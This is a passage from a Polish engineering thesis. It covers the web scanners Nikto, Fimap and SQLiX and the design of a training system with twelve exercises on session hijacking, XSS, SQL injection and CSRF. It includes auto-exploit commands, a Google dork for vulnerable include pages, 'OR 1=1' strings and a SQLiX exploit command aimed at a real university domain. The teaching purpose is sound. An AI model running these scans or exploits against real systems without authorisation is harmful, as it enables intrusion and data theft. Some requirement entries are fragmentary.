popularne zarówno wśród osób amatorsko zajmujących się tematyką testowania aplikacji

internetowych jak i profesjonalistów, którzy zarabiają w ten sposób na życie. Aplikacje te są

nadal wspierane przez autorów przez co cały czas pojawiają się ich aktualizacje oraz

ulepszenia.

Tester bezpieczeństwa powinien być świadomy, że używanie wymienionych niżej narzędzi

może prowadzić do uszkodzenia danych, bądź też nawet awarii serwera. Dlatego właśnie, w

warunkach komercyjnych kluczowym dokumentem jest dla testera upoważnienie do

przeprowadzenia testów, tak aby w razie nieszczęśliwego wypadku był on odpowiednio

zabezpieczony prawnie.

3.1 Nikto

Nikto (do pobrania pod adresem http://www.cirt.net/nikto2) jest doskonałym skanerem

aplikacji internetowych, napisany w języku Perl. Skrypt wymaga od użytkownika

zainstalowanego zewnętrznego modułu LibWhisker (do pobrania pod adresem

http://sourceforge.net/projects/whisker/). Do uruchomienia skryptu pod systemem Windows

36

należy uprzednio zainstalować środowisko Cygwin (do pobrania pod adresem

http://www.cygwin.com/).

Program ewoluował przez wiele lat swojego istnienia i posiada bardzo wiele rozbudowanych

funkcji, między innymi możliwość unikania wykrycia przez systemy wykrywania włamań

(ang. Intrusion Detection System).

Najprostsze wywołanie programu to ogranicza się do wpisania w linii poleceń:

nikto.pl –h [adres_hosta]

Po drobnych modyfikacjach opcji polecenia program stworzy przyjazny użytkownikowi

raport w pliku HTML. Zrzut z przykładowego raportu znajduje się poniżej:

Rysunek 4. Przykładowy wynik działania programu Nikto

Program w przyjaznej formie prezentuje wyniki przeprowadzonego skanowania, w raporcie

można znaleźć takie informacje jak:

Wersja używanej aplikacji, oraz często informacja, czy istnieje jej nowsza wersja.

Znalezione błędy w aplikacji wraz z dowodem istnienia

Wersja używanego systemu operacyjnego, usługi www i dodatków, wraz z

informacjami, czy istnieją nowsze wersje.

Ukryte katalogi, których istnienia nie można wydedukować przeglądając stronę (mogą

być to zarówno zakomentowane w kodzie HTML adresy URL, bądź też adresy

zdobyte metodą brute-force)

37

Do wykorzystania programu w pełni, tester powinien zaznajomić się z podstawowymi

opcjami programu:

Tabela 3. Najważniejsze parametry programu Nikto.

Opcje Opis

-H Informacje dotyczące sposobu użycia programu.

-D V Wyświetlanie większej ilości informacji.

-id [login:hasło] Używa HTTP Basic Authentication.

-h

[nazwa_hosta]

Nazwa hosta - celu.

-o

[nazwa_pliku]

Używa zadanego pliku jako wejścia i zwraca dane dla wszystkich

domen wymienionych w pliku.

-p [port] Pomija wstępne skanowanie portów hosta i korzysta z podanego.

-update Aktualizuje bazę danych Nikto.

Użycie opcji ogranicza się do wpisania w linii komend:

nikto.pl [opcje]

Przykładowe użycie programu:

nikto.pl -h localhost -D V -o raport.html

3.2 Fimap

Fimap (do pobrania pod adresem https://code.google.com/p/fimap/) to mała aplikacja,

napisana w języku Python, służąca do skanowania aplikacji internetowych pod kątem

występowania błędów związanych z lokalnym, bądź też zdalnym włączeniu pliku (ang.

Remote/Local File Inclusion). Umożliwia użytkownikowi skanowanie konkretnego adresu

URL, grupy adresów, a nawet użycia wyszukiwarki Google do wyszukiwania podatnych

adresów.

Program zawiera wiele opcji oraz dodatków, jedną z ciekawszych opcji jest automatyczne

wykorzystanie znalezionej podatności.

Użycie programu polega na wpisaniu w linii komend:

fimap.py [opcje]

38

Możliwe opcje wywołania są przedstawione w poniższej tabelce:

Tabela 4. Najważniejsze parametry programu Fimap.

Opcje Opis

-h Informacje dotyczące sposobu użycia programu.

-u [URL] Adres URL do skanowania.

-b Testowanie „na oślep”, w przypadku, gdy aplikacja nie zgłasza

błędów.

-g Wykorzystuje Google do znajdowania hostów.

-q [zapytanie] Zapytanie Google.

-x Wykorzystuje automatycznie znalezione podatności.

--update-def Aktualizuje bazę definicji.


fimap.py -u 'http://localhost/test.php?file=happy&id=22'

fimap.py -g -q 'inurl:include.php'

W pierwszym przypadku podano aplikacji adres URL, w którym zaistniało podejrzenie, że

parametry mogą decydować o załączonym pliku – program sam wykonuje resztę pracy,

odnajduje parametr, który jest odpowiedzialny za nazwę pliku i spróbuje wykorzystać błąd.

W drugim przypadku następuje przeszukanie Google pod kątem zawartości w adresie URL

ciągu znaków include.php, który jednoznacznie wskazuje na przeznaczenie odnalezionego

skryptu.

3.3 SQLiX

SQLiX (do pobrania pod adresem http://cedri.cc/tools/SQLiX_v1.0.tar.gz) jest programem,

napisanym w języku skryptowym Perl, służącym do skanowania aplikacji internetowych pod

względem podatności na ataki typu Wstrzyknięcie SQL. Aplikacja używa dwóch technik,

które mogą pozwolić jej stwierdzić istnienie poszukiwanej podatności, wśród nich są:

Generowanie stron błędów.

Jest to technika polegająca na wstrzykiwaniu wartości takich jak apostrof, czy też

podwójny apostrof w miejsca występowania parametrów. Użytkownik jest

39

informowany o istnieniu podatności jeśli tylko odpowiedź na żądanie zawiera błąd

bazy danych.

„Ślepe” wstrzykiwanie spreparowanych ciągów w miejsca wystąpienia wartości

parametrów.

Spreparowane ciągi mogą zawierać działania logiczne takie jak „OR 1=1” i „OR

1=0”, odpowiedź serwera jest porównywana z oryginalną i na tej podstawie aplikacja

decyduje czy uznaje miejsce wstrzyknięcia parametru za podatne. Metoda może

okazać się nieskuteczna, jeśli zapytanie zawiera znaki apostrofu bądź też odwołuje się

do procedur składowanych. Bardziej zaawansowane skanery próbują odtworzyć

oryginalne zapytanie (ang. reverse engineering) poprzez wstrzykiwanie wielu zbiorów

ciągów zawierających nawiasy, apostrofy oraz przecinki.

Użycie programu polega na wpisaniu w linii komend:

perl SQLiX.pl [parametry]

Najpopularniejsze opcje wywołania są przedstawione w tabeli poniżej:

Tabela 5. Najpopularniejsze opcje wywołania programu SQLiX

Opcje Opis

-help Informacje dotyczące sposobu użycia programu oraz możliwych

parametrów.

-url [URL] Adres URL do skanowania.

--post_content

[CONTENT]

Dodaje wyspecyfikowaną przez użytkownika zawartość do

żądania http i zmienia metodę żądania na POST.

-crawl Skanuje stronę WWW przeszukując jej podstrony.

-all Używa wszystkich metod wstrzykiwania.

-exploit Wykorzystuje znalezione podatności do określenia wersji bazy

danych.

40

Aplikacja jest bardzo rozbudowana i pozwala na wykorzystywanie podatności w wielu

popularnych bazach danych takich jak: MS-Access, MS-SQL, MySQL, Oracle czy też

PostgreSQL. Podczas ataku na bazę danych MS-SQL możliwe jest automatyczne

wykorzystanie podatności w celu zdalnego wykonania polecenia.


perl SQLiX.pl –crawl elka.pw.edu.pl –all –exploit

Powyższe polecenie spowoduje uruchomienie programu w celu przeszukania całego serwisu

WWW umieszczonego pod domeną elka.pw.edu.pl. Przeszukanie będzie kompleksowe,

zostaną użyte wszystkie środki znane oprogramowaniu (-all), a jeśli zostanie odnaleziona

podatność to aplikacja spróbuje ją wykorzystać w celu poznania wersji bazy danych.

41

4 Omówienie projektu

4.1 Opis projektu

W ramach praktycznej części pracy inżynierskiej został zaprojektowany i wykonany system

operacyjny, który po uruchomieniu dostarcza użytkownikowi środowisko, w którym może on

przeprowadzać testy zabezpieczeń aplikacji, które opierają się na mechanizmie HTTP.

Środowisko jest w rzeczywistości aplikacją WWW, która umożliwia użytkownikowi

przećwiczenie, w realnych warunkach, opisywanych w poprzednich rozdziałach ataków.

Dzięki swojej modularnej budowie, środowisko umożliwia swoją dalszą rozbudowę poprzez

łatwe dodawanie nowych ćwiczeń, co pozwala na jego przyszłe wykorzystanie do zajęć

praktycznych.

Omawiany system ma spełniać funkcję dydaktyczną i powinien być praktycznym

suplementem do wykładów, które omawiają temat bezpieczeństwa aplikacji internetowych.

4.1.1 Ćwiczenia dołączone do SSA

Do Systemu Symulacji Ataków zostało dołączonych dwanaście ćwiczeń, które pozwalają

pozwolą użytkownikowi doświadczyć różnych ataków w praktyce. Ćwiczenia poruszają

najważniejsze tematy z niniejszej pracy, są dobrane tak, aby zachować ich różnorodność.

Kolejność ułożenia ćwiczeń w menu jest zoptymalizowana tak, aby posortować ćwiczenia w

kolejności od najłatwiejszego do najtrudniejszego zachowując tym samym pogrupowanie na

obszary tematyczne.

Badanie i modyfikacja ciasteczek

Ćwiczenie pozwala użytkownikowi na zapoznanie się z mechanizmem ciasteczek oraz

możliwościami nowoczesnych przeglądarek, które nie tylko pozwalają na podejrzenie ich

zawartości, ale także na dowolną modyfikację. Do wykonania ćwiczenia użytkownik stosuje

przeglądarkę Firefox wraz z dołączoną wtyczką FireBug (do pobrania pod adresem

http://getfirebug.com/). Prostota ćwiczenia pozwala na szybkie zapoznanie się ze sposobami

interakcji z oprogramowaniem, ale także daje głębsze spojrzenie na mechanizmy

bezpieczeństwa, które często korzystają (choć nie jest to zalecane) z ciasteczek w celu

przechowania newralgicznych danych.

Analiza JavaScript

Prowizoryczne zabezpieczenia bazujące na samym kodzie JavaScript są niestety nadal często

spotykane w Internecie. Często można spotkać się z ich kompleksowymi rozwinięciami, kod

42

jest zaciemniany, a podczas weryfikacji danych wejściowych wykonywane są skomplikowane

obliczenia, które z założenia mają utrudnić analizę kodu źródłowego. W ćwiczeniu nie

zastosowano tych technik, kod jest widzialny w przystępnej wersji, która nie utrudnia

użytkownikowi odnalezienia hasła. Celem ćwiczenia nie jest zabranie użytkownikowi dużej

ilości czasu, ale pokazanie mu, jak prosto można takie zabezpieczenia przełamać. Dodatkowe

nakłady pracy, zastosowane przez programistę do utrudnienia analizy kodu, skutkują tylko i

wyłącznie wydłużeniem czasu analizy kodu – weryfikację danych przeprowadzoną w ten

sposób można zawsze złamać.

Ograniczenia HTML

Ograniczenie długości pola w zastosowane w języku HTML jest dobrym filtrem danych

wejściowych dla aplikacji, jednak wielu programistów przecenia możliwości takiego

filtrowania danych i nie dostrzega faktu, iż dane można przesłać do aplikacji w inny sposób.

Jeśli dane nie są filtrowane podwójnie to wystąpienie błędu podczas ich przetwarzania jest

niemal pewne. Ćwiczenie nie polega na wykorzystywaniu podatności, jest jednak bardzo

dobrą lekcją dla użytkownika, ponieważ błędy spowodowane nieprawidłową długością

danych wejściowych są bardzo dobrym źródłem wiedzy o badanej aplikacji. Celem ćwiczenia

jest przesłanie do pewnego skryptu danych o długości większej, niż pozwala na to załączony

formularz.

Narzucanie identyfikatora sesji

Mechanizmy kontroli sesji użytkownika to jedne z najbardziej podatnych na atak części

aplikacji internetowych. Jeśli mechanizm sesji jest zaimplementowany bez zachowania

odpowiedniej uwagi, to z całą pewnością jest to pierwsza rzecz, jaką powinien sprawdzić

tester bezpieczeństwa aplikacji internetowych. „Narzucanie identyfikatora sesji” to ćwiczenie,

które umożliwi użytkownikowi zapoznanie się z mechanizmem sesji oraz genezą jego

istnienia, podczas analizy zadania użytkownik dowiaduje się, że mechanizm sesji nie jest

skomplikowany i że wszystko musi działać według bardzo prostego mechanizmu HTTP.

Samo ćwiczenie opiera się na zastosowaniu ataku w praktyce, czyli narzuceniu własnego

identyfikatora sesji innemu użytkownikowi, a następnie jej przejęciu.

Kradzież identyfikatora sesji

Ćwiczenie „Kradzież identyfikatora sesji” jest bardzo podobne do poprzedniego, opierającego

się na narzuceniu identyfikatora. Oprócz podstaw działania mechanizmów sesji, użytkownik

dowiaduje się, jak przejąć sesję użytkownika stosując inne podejście niż w poprzednim

43

zadaniu. Tym razem identyfikator nie jest z góry znany, a celem ćwiczenia jest jego kradzież.

W realnym środowisku, przywłaszczenie identyfikatora może nastąpić jako następstwo ataku

typu „cross-site”, bądź też zwykłej nieznajomości zagadnień komputerowych ofiary.

Ćwiczenie to ma na celu przedstawienie żadnego typu ataku „cross-site”, dlatego kradzież

identyfikatora sesji oparta jest na ukryciu znacznika w adresie URL (metoda GET), a

następnie przesłaniu go do innej sesji przeglądarki.

Przewidywanie identyfikatora sesji

Mechanizm sesji można zrealizować na co najmniej dwa sposoby, to ćwiczenie dotyczy innej

metody, niż poprzednie dwa ćwiczenia. Tym razem użytkownik postawiony jest w sytuacji,

gdzie implementacja mechanizmu sesji wymagała oszczędności w bazie danych, przez co

znacznik sesji nie jest losowany, a następnie zapisywany do bazy. W przypadku tego

ćwiczenia identyfikator jest generowany na podstawie danych, które zostały podane podczas

rejestracji w fikcyjnym serwisie. Zadaniem użytkownika jest dokładna analiza

wygenerowanych identyfikatorów, rozpoznanie algorytmu, który generuje znacznik i

zastosowanie tak zdobytej wiedzy w praktyce – czyli przejęcie sesji innego użytkownika.

Odbite XSS

Opisywana podatność jest bardzo często spotykana w różnych serwisach internetowych.

Programiści, zajmujący się tworzeniem stron internetowych, często nie doceniają możliwości,

jakie dla atakującego otwierają podatności typu „cross-site”. Celem zadania jest zapoznanie

użytkownika z podatnościami tego typu oraz wykorzystanie ich w praktyce. Użytkownik

zauważy, że sama podatność nie jest bardzo szkodliwa, ale jeśli w serwisie występują inne

niedopatrzenia, to atak „cross-site” będzie idealnym punktem zapalnym do wywołania wielu

groźnych sytuacji.

Składowane XSS

„Składowane XSS” to ćwiczenie prezentujące, w zupełnie innym świetle, atak podobny do

„Odbite XSS”. Tym razem wektor ataku ma o wiele większe pole rażenia, ofiara nie musi

otwierać szkodliwego adresu URL – wystarczy, że odwiedzi stronę, a szkodliwy kod będzie

tam na nią czekał. Celem ćwiczenia jest pozostawienie szkodliwego komentarza w fikcyjnym

systemie komentarzy. Celem tak zostawionej wiadomości jest automatyzacja dodawania

kolejnych komentarzy, w taki sposób, aby każdy kolejny użytkownik, który odwiedza stronę,

pozostawiał po sobie ślad w systemie w postaci kolejnego komentarza. Jest to jedyne

ćwiczenie, które nie ma zdefiniowanych warunków końcowych – system nie ma możliwości

44

rozróżnienia czy dane żądanie pochodzi od użytkownika, który chciał je wysłać, czy też zrobił

to bezwiednie.

Wstrzyknięcie SQL – omijanie logowania

Ćwiczenie pozwalające na wypróbowanie bardzo popularnej podatności, wynikającej z braku

filtrowania danych wejściowych, które mają zostać umieszczone w zapytaniu kierowanym do

bazy danych. Podatność pozwala na zmianę formy zapytania SQL, co w przypadku

mechanizmu logowania może skutkować brakiem weryfikacji poprawności hasła.

Pomocniczo, użytkownik ma wyświetlone zapytanie, które za każdym razem kieruje się do

bazy danych - pozwala to na lepsze zrozumienie idei ataku oraz łatwiejsze dojście do

rozwiązania.

Wstrzyknięcie SQL – SELECT

Wstrzyknięcie polecenia SELECT do istniejącego zapytania niesie ze sobą niemal

nieograniczone możliwości oraz jest powodem wielu głośnych wycieków danych. Podczas

ćwiczenia użytkownik ma okazję wysłać spreparowane zapytanie SELECT do dowolnej

tabeli w bazie danych i zobaczyć jaką niesie ze sobą odpowiedź. Wnikliwi użytkownicy z

pewnością zastosują opisywaną w ćwiczeniu metodę na poznanie całej struktury bazy danych.

Celem ćwiczenia jest, wysłanie zapytania do tabeli, która przechowuje dane użytkowników,

takie jak nazwa logowania oraz hasło, stosując do tego formularz, który oryginalnie służy

jako wyszukiwarka książek w bazie danych. W ramach ułatwienia zadania, na stronie

wyświetla się tekst informujący użytkownika, jak wygląda zapytanie, które zostało wysłane

do bazy danych.

Wstrzyknięcie SQL – INSERT

Ćwiczenie polega na wstrzyknięciu frazy modyfikującej polecenie INSERT w zapytania SQL,

które oryginalnie służy do dodawania nowego konta użytkownika w pewnej tabeli. W

pierwotnym zapytaniu istnieje zapisany na stałe parametr decydujący o tym, czy użytkownik

ma uprawnienia administratora, czy też nie. Celem użytkownika jest taka modyfikacja

zapytania, aby zmienić ten parametr na taki, który da mu większe uprawnienia, jednocześnie

użytkownik musi zachować taką formę zapytania, która pozwoli mu później zalogować się na

nowoutworzone konto. Zadanie pokazuje użytkownikowi, że niemal w każdym miejscu może

natknąć się na podatność typu „Wstrzyknięcie SQL” i nie dotyczy ona tylko formularzy z

zapytaniami SELECT. Ćwiczenie jest najtrudniejsze z grupy „Wstrzyknięcie SQL”, ponieważ

45

nie ma w nim komentarza, który pokazuje jak wygląda wysłane do bazy danych zapytanie, a

także wymaga od niego zastosowania skrótu MD5.

Cross-Site Request Forgery

W ćwiczeniu przedstawiono użytkownikowi fikcyjny system aukcyjny, gdzie może on

licytować cenę pewnego przedmiotu. Stosując omawiany atak CSRF atakujący może zmusić

przeglądarkę użytkownika do wysłania zapytania, które spowoduje zalicytowanie w aukcji,

bez wiedzy użytkownika. Przykład jest specjalnie dobrany tak, aby pokazać użytkownikowi

jakie niebezpieczeństwo niesie ze sobą atak CSRF. Użytkownik ma za zadanie utworzyć

specjalnie spreparowaną stronę w pliku HTML (na podstawie formularza licytacji), a

następnie będąc zalogowanym do serwisu aukcyjnego – potwierdzić wysłanie formularza.

Wnikliwi użytkownicy zauważą, że ofiary nie trzeba nawet zmuszać do potwierdzenia

formularza – wystarczy tylko dołączyć skrypt JavaScript, który zrobi to za nie.

4.2 Wymagania

Projektując środowisko testowe, w którym użytkownik będzie mógł przeprowadzić

podstawowe ataki na strony internetowe, należy przyjąć odpowiedni poziom odwzorowania

świata rzeczywistego. Należy zauważyć, iż wprowadzenie dużej liczby szczegółów, które

wzmagają odczucie pracy na rzeczywistym środowisku, utrudni analizę kodu strony i

zwiększy nakład czasowy na implementację. W przypadku zbytniego uproszczenia systemu,

przeprowadzane ćwiczenia nie będą interesujące dla użytkownika.

Odmienną kwestią jest budowane scenariuszy ataku, powinny być one zaprojektowane, tak,

aby użytkownik mógł w każdym momencie podejść do dowolnego z ataków, bez uprzedniego

zaliczenia poprzednich. Scenariusz powinien składać się z maksymalnie kliku kroków, tak

aby nie uczynić go zbyt skomplikowanym i umożliwić jego przejście w nie więcej niż 30

minut.

46

Ustalony został pewien kompromis i przyjęte zostały pewne założenia, a w celu ich

objaśnienia przygotowany został słownik pojęć:

Tabela 6. Słownik pojęć dla opisu wymagań projektu.

Pojęcie Opis

System Całość dostarczonego rozwiązania, na System

składa się:

1. System operacyjny.

2. System Symulacji Ataków.

3. Narzędzia wykorzystywane do Systemu

Symulacji Ataków.

System Symulacji Ataków Aplikacja będąca symulatorem ataków na strony

internetowe.

SSA Patrz: System Symulacji Ataków.

Aplikacja Patrz: System Symulacji Ataków.

Live-CD System operacyjny zainstalowany na nośniku z

własnym programem rozruchowym,

umożliwiającym uruchomienie go w pamięci

RAM, bez potrzeby instalowania na dysku

twardym komputera.

4.2.1 Wymagania niefunkcjonalne

Poniżej znajdują się wymagania niefunkcjonalne ustalone dla opracowywanego systemu:

Identyfikator WN-0 Priorytet Średni

Nazwa Bezinwazyjność systemu dla komputera użytkownika

Opis

Projektowany system powinien uruchamiać się bez konieczności instalowania go na

komputerze użytkownika, ani modyfikacji danych na dysku twardym. W tym celu powinien

zostać dostarczony w formie „Live-CD”.


Nazwa Prostota obsługi

Opis

Po uruchomieniu Systemu przez użytkownika, SSA powinien uruchomić się automatycznie

dostarczając tym samym informacji startowych użytkownikowi. Informacje startowe to:

1. Do czego służy system?

2. Jak go obsługiwać?

47

Identyfikator WN-2 Priorytet Wysoki

Nazwa Rozbudowywalność

Opis

SSA powinien posiadać opcję rozbudowy o kolejne ćwiczenia. Rozbudowa powinna być

bardzo prosta, przy jej wykonywaniu użytkownik powinien mieć możliwość definiowania:

1. Nazwy ćwiczenia.

2. Opisu ćwiczenia.

3. Rozwiązania wzorcowego.

4. Celu, którego osiągnięcie wyznacza koniec ćwiczenia.

5. Sposobu obsługi pierwszego żądania strony.

6. Sposobu obsługi kolejnych żądań do strony.

7. Akcji podejmowanych po wciśnięciu przycisku do ponownego uruchomienia

ćwiczenia.

Identyfikator WN-3 Priorytet Wysoki

Nazwa Czytelna dokumentacja

Opis

System powinien posiadać czytelną dokumentację. Przeznaczenie Systemu powoduje, iż

możliwe będzie zaistnienie potrzeby jego rozbudowy.


Nazwa Wiarygodność przedstawionych przypadków

Opis

SSA powinien przedstawiać użytkownikowi realne sytuacje, w związku z tym wskazane jest

stosowanie prawdziwych baz danych (nie zaślepek) i innych elementów.


Nazwa Łatwość analizy

Opis

Ćwiczenia wykonywane przez użytkownika powinny skupiać się na istocie problemu i nie

utrudniać jego analizy zbędnymi szczegółami. Przykładem niepoprawnej implementacji

może być strona WWW, której wygenerowany kod HTML zajmuje tysiąc linii, zaś istotnych

jest tylko kilka z nich.

48

Na podstawie wymagań nieformalnych powstał diagram sekwencji obrazujący pracę

użytkownika końcowego z projektowanym systemem.

Rysunek 5. Diagram sekwencji projektowanego systemu

49

4.2.2 Wymagania funkcjonalne

Poniżej znajdują się wymagania funkcjonalne ustalone dla opracowywanego systemu:

Identyfikator WF-0 Priorytet Wysoki

Nazwa Wybór ćwiczenia

Opis

Po uruchomieniu się SSA użytkownik ma możliwość wyboru ćwiczenia, które chce

wykonać. Wraz z SSA powinny zostać dostarczone następujące ćwiczenia:

1. Badanie i modyfikacja ciasteczek.

2. Omijanie fikcyjnych zabezpieczeń JavaScript – konieczność podania hasła.

3. Omijanie fikcyjnych zabezpieczeń HTML – ograniczenie liczby znaków w polu.

4. Badanie sposobu generacji identyfikatora sesji – ustalanie własnego identyfikatora

sesji.

5. Badanie sposobu generacji identyfikatora sesji – przewidywanie identyfikatorów

sesji.

6. Badanie sposobu generacji identyfikatora sesji – kradzież identyfikatora sesji.

7. Wykonanie ataku typu Wstrzyknięcie SQL – omijanie logowania.

8. Wykonanie ataku typu Wstrzyknięcie SQL – wstrzykiwanie komendy SELECT.

9. Wykonanie ataku typu Wstrzyknięcie SQL – wstrzykiwanie komendy INSERT.

10. Wykonanie ataku typu Odbite XSS.

11. Wykonanie ataku typu Składowane XSS.

12. Wykonanie ataku typu CSRF.

Identyfikator WF-0.1 Priorytet Wysoki

Nazwa Wybór ćwiczenia – Badanie i modyfikacja ciasteczek

Opis

Użytkownik zostanie postawiony przed bardzo prostym zadaniem, polegającym na zbadaniu

ciasteczek i ich modyfikacji. Ćwiczenie będzie polegało na:

1. Badaniu ciasteczka zaraz po pierwszym załadowaniu strony.

2. Badaniu ciasteczka po zalogowaniu.

3. Modyfikacji zawartości ciasteczka i zaobserwowaniu wpływu tej zmiany na

zachowanie systemu.


Nazwa Wybór ćwiczenia – Omijanie fikcyjnych zabezpieczeń JavaScript –

konieczność podania hasła

Opis

Ćwiczenie stawia użytkownika przed zadaniem polegającym na przełamaniu pozornych

zabezpieczeń weryfikacji hasła po stronie klienta przez JavaScript. Ćwiczenie będzie

polegało na:

1. Przejrzeniu źródła strony.

2. Analizie kodu JavaScript weryfikującego hasło.

3. Ominięciu zabezpieczeń podając hasło uzyskane w wyniku analizy kodu.

50


Nazwa Wybór ćwiczenia – Omijanie fikcyjnych zabezpieczeń HTML –

ograniczenie liczby znaków w polu

Opis

Zadanie polega na modyfikacji kodu HTML związanego z formularzem na stronie WWW.

Użytkownik pozna możliwości nowoczesnych przeglądarek internetowych, dzięki którym

będzie mógł modyfikować atrybuty pola zachowując resztę właściwości formularza.

Ćwiczenie będzie polegało na:

1. Przejrzeniu źródła strony.

2. Użyciu narzędzi programistycznych dołączonych do przeglądarki WWW w celu

lokalnej modyfikacji źródła strony.

3. Zatwierdzeniu formularza znajdującego się na danej stronie WWW przesyłając mu

dane, na które nie zezwalał kod HTML (ograniczenie ilości znaków).


Nazwa Wybór ćwiczenia – Badanie sposobu generacji identyfikatora sesji –

ustalanie własnego identyfikatora sesji

Opis

Tematem ćwiczenia jest wykorzystanie podatności w mechanizmie generowania

identyfikatorów sesji, który pozwala na ustalenie własnego identyfikatora, a następnie jego

użycie w innej przeglądarce. Ćwiczenie będzie polegało na:

1. Zbadaniu miejsca przechowywania identyfikatora sesji.

2. Próbie zastąpienia identyfikatora swoim (pomyślnej).

3. Zalogowaniu się przy użyciu znanych danych.

4. Użyciu identyfikatora sesji po zamknięciu przeglądarki, bądź w innej przeglądarce.

5. Obserwacji efektów.



przewidywanie identyfikatorów sesji

Opis

Użytkownik zostanie postawiony przed zadaniem polegającym na wykorzystaniu podatności

w mechanizmie generowania identyfikatorów sesji, który pozwala na ustalenie sposobu

generowania identyfikatora. Ćwiczenie będzie polegało na:


2. Zbadaniu sposobu zmiany identyfikatora w zależności od podawanych danych (także

wyznaczenie danych, które mają wpływ na identyfikator sesji).

3. Próbie wyznaczenia sposobu generacji identyfikatora.

4. Sztucznej generacji identyfikatora dla danego użytkownika.

5. Podmianie własnego identyfikatora sesji.


51



kradzież identyfikatora sesji

Opis

Ćwiczenie stawia użytkownika przed zadaniem polegającym na wykorzystaniu podatności w

mechanizmie sprawdzania poprawności identyfikatorów sesji, który pozwala wykorzystanie

identyfikatora na w kontekście, który nie spełnia warunków polityki tożsamego pochodzenia.

Ćwiczenie będzie polegało na:


2. Zalogowaniu się używając znanych danych i skopiowaniu identyfikatora.

3. Użycie tego identyfikatora w kontekście, który nie spełnia warunków polityki

tożsamego pochodzenia.


Ćwiczenie to jest bardzo podobne do opisanego w WF-4.4, pozwala to na ponowne użycie

gotowego już kodu.


Nazwa Wybór ćwiczenia – Wykonanie ataku typu Wstrzyknięcie SQL - omijanie

logowania

Opis

Zadanie polega na wykorzystaniu podatności w weryfikacji danych wejściowych, które są

używane do zapytań w bazach danych. Ćwiczenie będzie polegało na ominięciu

konieczności wpisania poprawnego hasła w formularzu służącym do zalogowania

użytkownika. Scenariusz ataku przedstawia się następująco:

1. Analiza kodu strony internetowej z formularzem.

2. Próba użycia znaków potencjalnie niebezpiecznych dla zapytań SQL.

3. Wykorzystanie dołączenia prostych warunków logicznych do zapytania, tak, aby

zapytanie zawsze zwracało pozytywny wynik.

4. Zalogowanie się na konto dowolnego użytkownika.


Nazwa Wybór ćwiczenia – Wykonanie ataku typu Wstrzyknięcie SQL -

wstrzykiwanie komendy SELECT

Opis

Tematem ćwiczenia jest wykorzystanie podatności w weryfikacji danych wejściowych, które

są używane do zapytań w bazach danych. Ćwiczenie będzie polegało na modyfikacji

zapytania służącego do utworzenia strony z pewną listą. Scenariusz ataku przedstawia się

następująco:



3. Analiza wyniku oryginalnego zapytania (ilość kolumn, typ kolumn).

4. Wykorzystanie dołączenia kolejnych zapytań do aktualnego.

52


Nazwa Wybór ćwiczenia - Wykonanie ataku typu Wstrzyknięcie SQL –

wstrzykiwanie komendy INSERT

Opis

Użytkownik zostanie postawiony przed zadaniem polegającym na wykorzystaniu podatności

w weryfikacji danych wejściowych, które są używane do zapytań w bazach danych.

Ćwiczenie będzie polegało na modyfikacji zapytania służącego do utworzenia strony z

pewną listą. Scenariusz ataku przedstawia się następująco:



3. Dołączenie kolejnego zapytania, tym razem modyfikującego dane w bazie.


Nazwa Wybór ćwiczenia – Wykonanie ataku typu Odbite XSS

Opis

Ćwiczenie stawia użytkownika przed zadaniem polegającym na wykorzystaniu podatności w

weryfikacji danych wejściowych, które zostają dynamicznie umieszczane na stronie

internetowej. Ćwiczenie będzie polegało na odpowiedniej modyfikacji parametrów

przekazywanych do strony internetowej w taki sposób, aby w odpowiedzi (wygenerowanej

stronie) umieścić złośliwy kod JavaScript. Scenariusz ataku przedstawia się następująco:

1. Przedstawienie celu ataku (wywołanie pewnej akcji dostępnej dla zalogowanego

użytkownika, polegającej na fikcyjnym usunięciu konta użytkownika).

2. Analiza parametrów przekazywanych stronie internetowej (metodą POST lub GET),

które mogą być na niej wyświetlane.

3. Analiza poprawności filtrowania parametrów.

4. Po odkryciu niepoprawnej filtracji, użytkownik będzie musiał wykorzystać błąd

konstruując odpowiedni kod wywołujący akcję. W wyniku tego kroku, użytkownik

będzie posiadał spreparowany adres URL.

5. Po zalogowaniu się na konto użytkownika, podając znane dane, użytkownik wywoła

zapisany wcześniej adres URL.

6. Obserwacja wyników (usunięte konto).

53


Nazwa Wybór ćwiczenia – Wykonanie ataku typu Składowane XSS

Opis

Zadanie polega na wykorzystaniu podatności w weryfikacji danych wejściowych, które

zostają statycznie umieszczane na stronie internetowej. Ćwiczenie będzie polegało na

odpowiedniej modyfikacji parametrów przekazywanych do strony internetowej w taki

sposób, aby złośliwa treść (kod JavaScript) została osadzona na danej stronie (wpisana do

bazy danych). Scenariusz ataku przedstawia się następująco:


użytkownika, polegającej na dodaniu komentarza pod wpisem na blogu).


które mogą być na niej wyświetlane.

3. Analiza poprawności weryfikacji parametrów.

4. Po odkryciu niepoprawnej weryfikacji, użytkownik będzie musiał wykorzystać błąd

konstruując odpowiednie zapytanie, osadzające przygotowany wcześniej złośliwy

kod na stronie internetowej.

5. Po zalogowaniu się na konto użytkownika, podając znane dane, użytkownik zażąda

strony, na której znajduje się wcześniej umieszczony złośliwy kod.

6. Obserwacja wyników (dodany komentarz).


Nazwa Wybór ćwiczenia – Wykonanie ataku typu CSRF

Opis

Tematem ćwiczenia jest wykorzystanie podatności typu CSRF. Ćwiczenie będzie polegało

na przygotowaniu strony internetowej, która wyśle żądanie do innej strony w imieniu

użytkownika, który ją odwiedza. Scenariusz ataku przedstawia się następująco:


użytkownika, polegającej na licytacji w fikcyjnym serwisie aukcyjnym).


które należy będzie zamieścić na własnej stronie.

3. Zalogowanie się użytkownika na stronie internetowej (fikcyjny serwis aukcyjny).

4. Otworzenie wcześniej spreparowanej strony internetowej, zatwierdzenie

zamaskowanego formularza.

5. Obserwacja wyniku (mimowolna licytacja w aukcji).

Identyfikator WF-1 Priorytet Wysoki

Nazwa Opis ćwiczenia

Opis

Każde dostarczone ćwiczenie musi posiadać opis wraz z nazwą. Informacje te powinny

zawierać takie dane jak:

1. Rodzaj ataku, który występuje w danym ćwiczeniu.

2. Opis ataku.

54

Identyfikator WF-2 Priorytet Średni

Nazwa Wzorcowe rozwiązanie ćwiczenia

Opis

Do każdego ćwiczenia powinno zostać dostarczone wzorcowe rozwiązanie, które

użytkownik będzie mógł podejrzeć w dowolnej chwili.

Identyfikator WF-3 Priorytet Średni

Nazwa Zakończenie ćwiczenia

Opis

Każde ćwiczenie powinno posiadać pewien cel, którego osiągnięcie będzie uznawane jako

jego koniec. SSA powinien sam sprawdzać czy użytkownikowi udało się dotrzeć do danego

punktu i jeśli tak, to powinien wyświetlić stosowny komunikat. Należy jednak uwzględnić

